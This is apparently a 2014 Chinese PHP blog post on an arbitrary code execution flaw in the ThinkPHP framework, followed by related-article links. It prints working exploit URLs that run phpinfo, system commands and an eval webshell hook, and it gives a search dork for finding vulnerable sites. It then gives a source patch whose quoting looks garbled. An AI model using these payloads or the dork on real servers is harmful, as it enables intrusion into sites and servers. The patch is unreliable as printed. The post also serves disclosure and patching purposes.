ThinkPHP框架任意代码执行漏洞的利用及其修复方法


Posted in PHP onJuly 04, 2014

ThinkPHP是国内著名的开源的PHP框架,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结 构和MVC模式,融合了Struts的Action和Dao思想和JSP的TagLib(标签库)、RoR的ORM映射和ActiveRecord模式, 封装了CURD和一些常用操作,单一入口模式等,在模版引擎、缓存机制、认证机制和扩展性方面均有独特的表现.
 
然而近期thinkphp框架爆出了一个任意代码执行漏洞,其危害性相当的高,漏洞利用方法如下:
 

index.php/module/aciton/param1/${@print(THINK_VERSION)}
 
index.php/module/aciton/param1/${@function_all()}

其中的function_all代表任何函数,比如:

index.php/module/aciton/param1/${@phpinfo()}

就可以获取服务器的系统配置信息等。

index.php/module/action/param1/{${system($_GET['x'])}}?x=ls -al

可以列出网站文件列表

index.php/module/action/param1/{${eval($_POST[s])}}

就可以直接执行一句话代码,用菜刀直接连接.

这样黑客们就可以直接通过google批量搜索关键字:thinkphp intitle:系统发生错误 来获取更多使用thinkphp框架的网站列表。可见其危害性相当的大。
 
thinkphp框架执行任意代码漏洞修复方法:
 
用户可下载官方发布的补丁:
 
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
 
或者或者直接修改源码:

将/ThinkPHP/Lib/Core/Dispatcher.class.php文件中的

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

修改为:

$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));

将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
 
注:本文仅供学习参考使用,请不要用于非法用途。

希望本文所述对大家基于ThinkPHP框架的PHP程序设计有所帮助。

PHP 相关文章推荐
如何使用PHP中的字符串函数
Nov 24 PHP
简单采集了yahoo的一些数据
Feb 14 PHP
php面向对象全攻略 (十四) php5接口技术
Sep 30 PHP
php实现的Cookies操作类实例
Sep 24 PHP
Mac OS下配置PHP+MySql环境
Feb 25 PHP
php中执行系统命令的方法
Mar 21 PHP
PHP弹出对话框技巧详细解读
Sep 26 PHP
php将数组存储为文本文件方法汇总
Oct 28 PHP
php防止CC攻击代码 php防止网页频繁刷新
Dec 21 PHP
PHP操作MySQL的mysql_fetch_* 函数的常见用法教程
Dec 25 PHP
微信利用PHP创建自定义菜单的方法
Aug 01 PHP
php 可变函数使用小结
Jun 12 PHP
php实现批量压缩图片文件大小的脚本
Jul 04 #PHP
PHP实现的英文名字全拼随机排号脚本
Jul 04 #PHP
PHP临时文件的安全性分析
Jul 04 #PHP
PHP curl实现抓取302跳转后页面的示例
Jul 04 #PHP
PHP不用递归遍历目录下所有文件的代码
Jul 04 #PHP
对于ThinkPHP框架早期版本的一个SQL注入漏洞详细分析
Jul 04 #PHP
PHP+Memcache实现wordpress访问总数统计(非插件)
Jul 04 #PHP
You might like
PHP 高手之路(三)
2006/10/09 PHP
PHP关联数组的10个操作技巧
2013/01/21 PHP
php使用fgetcsv读取csv文件出现乱码的解决方法
2014/11/08 PHP
JavaScript 克隆数组最简单的方法
2009/02/12 Javascript
js类的静态属性和实例属性的理解
2009/10/01 Javascript
这些年、我收集的JQuery代码小结
2012/08/01 Javascript
JavaScript解析URL参数示例代码
2013/08/12 Javascript
JQuery中对Select的option项的添加、删除、取值
2013/08/25 Javascript
javascript获取URL参数与参数值的示例代码
2013/12/20 Javascript
javascript实现验证IP地址等相关信息代码
2015/05/10 Javascript
jQuery实现控制文字内容溢出用省略号(…)表示的方法
2016/02/26 Javascript
基于jQuery实现滚动刷新效果
2017/01/09 Javascript
js实现打地鼠小游戏
2017/02/13 Javascript
Node.js之删除文件夹(含递归删除)代码实例
2019/09/09 Javascript
JavaScript Date对象功能与用法学习记录
2020/04/28 Javascript
vue Cli 环境删除与重装教程 - 版本文档
2020/09/11 Javascript
探索node之事件循环的实现
2020/10/30 Javascript
Vue中引入svg图标的两种方式
2021/01/14 Vue.js
python通过pil模块获得图片exif信息的方法
2015/03/16 Python
使用Python对Access读写操作
2017/03/30 Python
高效使用Python字典的清单
2018/04/04 Python
Python发送邮件测试报告操作实例详解
2018/12/08 Python
numpy.random.shuffle打乱顺序函数的实现
2019/09/10 Python
Python编程快速上手——Excel到CSV的转换程序案例分析
2020/02/28 Python
html5各种页面切换效果和模态对话框用法总结
2014/12/15 HTML / CSS
英国家喻户晓的高街品牌:River Island
2017/11/28 全球购物
澳大利亚珍珠首饰购物网站:Vayo Pearls
2019/03/11 全球购物
Lookfantastic俄罗斯:欧洲在线化妆品零售商
2019/08/06 全球购物
Gretna Green中文官网:苏格兰格林小镇
2019/10/16 全球购物
写出一个方法实现冒泡排序
2016/07/08 面试题
文秘专业大学生求职信
2013/11/10 职场文书
商场促销活动方案
2014/02/08 职场文书
出纳会计岗位职责
2014/03/12 职场文书
董事长助理工作总结2015
2015/07/23 职场文书
当你找不到方向的时候,不妨读读刘备的一生
2019/08/05 职场文书
浅谈Redis主从复制以及主从复制原理
2021/05/29 Redis